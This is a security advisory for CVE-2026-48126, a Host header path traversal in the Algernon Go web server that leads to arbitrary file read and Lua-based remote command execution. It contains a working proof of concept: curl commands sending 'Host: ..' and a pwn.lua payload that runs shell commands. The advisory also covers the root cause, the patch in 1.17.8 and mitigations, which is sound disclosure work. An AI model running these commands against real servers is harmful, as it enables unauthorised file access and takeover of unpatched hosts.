high · 8.2CVE-2026-48126Jun 26, 2026

CVE-2026-48126: Algernon Host Header Path Traversal to Arbitrary File Read and Lua RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A missing validation on the HTTP Host header in Algernon's domain mode lets any unauthenticated attacker read files outside the web root and, in common configurations, execute shell commands on the…

Packagegithub.com/xyproto/algernon
Ecosystemgo
Affected<= 1.17.7
Fixed in1.17.8
CVE-2026-48126: Algernon Host Header Path Traversal to Arbitrary File Read and Lua RCE

The problem

When Algernon runs with --domain (or --letsencrypt, which silently enables --domain), the request handler builds the serve directory by calling filepath.Join(servedir, utils.GetDomain(req)). GetDomain returns the raw Host header value with no sanitisation.

Sending Host: .. causes filepath.Join to resolve one level above the configured --dir. Every subsequent file and directory operation then operates on the parent. Arbitrary file read and directory listing follow immediately. If a .lua file exists in the parent, Algernon executes it server-side, and Lua's run3() calls exec.Command("sh", "-c", command), giving full shell RCE as the Algernon process user.

Proof of concept

A working proof-of-concept for CVE-2026-48126 in github.com/xyproto/algernon, with the exact payload below.

bash
# 1. Arbitrary file read (file lives in parent of --dir)
curl -H 'Host: ..' http://TARGET:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR

# 2. Parent directory listing
curl -H 'Host: ..' http://TARGET:7799/
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/" ...

# 3. RCE via .lua file in parent directory
# (pwn.lua in parent contains: local out,_,_ = run3("id; uname -a"); for _,v in ipairs(out) do print(v) end)
curl -H 'Host: ..' http://TARGET:7799/pwn.lua
# -> uid=0(root) gid=0(root) groups=0(root)
# -> Linux host 6.6.87.2-microsoft-standard-WSL2 x86_64 GNU/Linux

The root cause is CWE-23: filepath.Join silently canonicalises .. components, so joining /srv/algernon with .. produces /srv with no error and no indication that a boundary was crossed. URL2filename only checks the URL path for .., never the dirname argument, so it cannot catch the traversal.

The patch in 1.17.8 adds an early check in engine/handlers.go that rejects any domain value containing .., /, or \ before passing it to filepath.Join. This blocks the single-segment traversal that the HTTP layer permits (the Go HTTP parser already blocks / in the Host header, but not bare ..).

The --letsencrypt silent-enable path (engine/flags.go:372 sets serverAddDomain = true) means production HTTPS deployments are affected without operators opting in to --domain explicitly.

The fix

Upgrade to Algernon 1.17.8. The fix validates the domain value extracted from the Host header before using it in a filepath.Join call, returning HTTP 400 for any value containing .., /, or \. If upgrading immediately is not possible, avoid running Algernon with --domain or --letsencrypt and use a reverse proxy (nginx, Caddy) to handle TLS termination instead.

Reporter not attributed.

References: [1][2][3]

Related research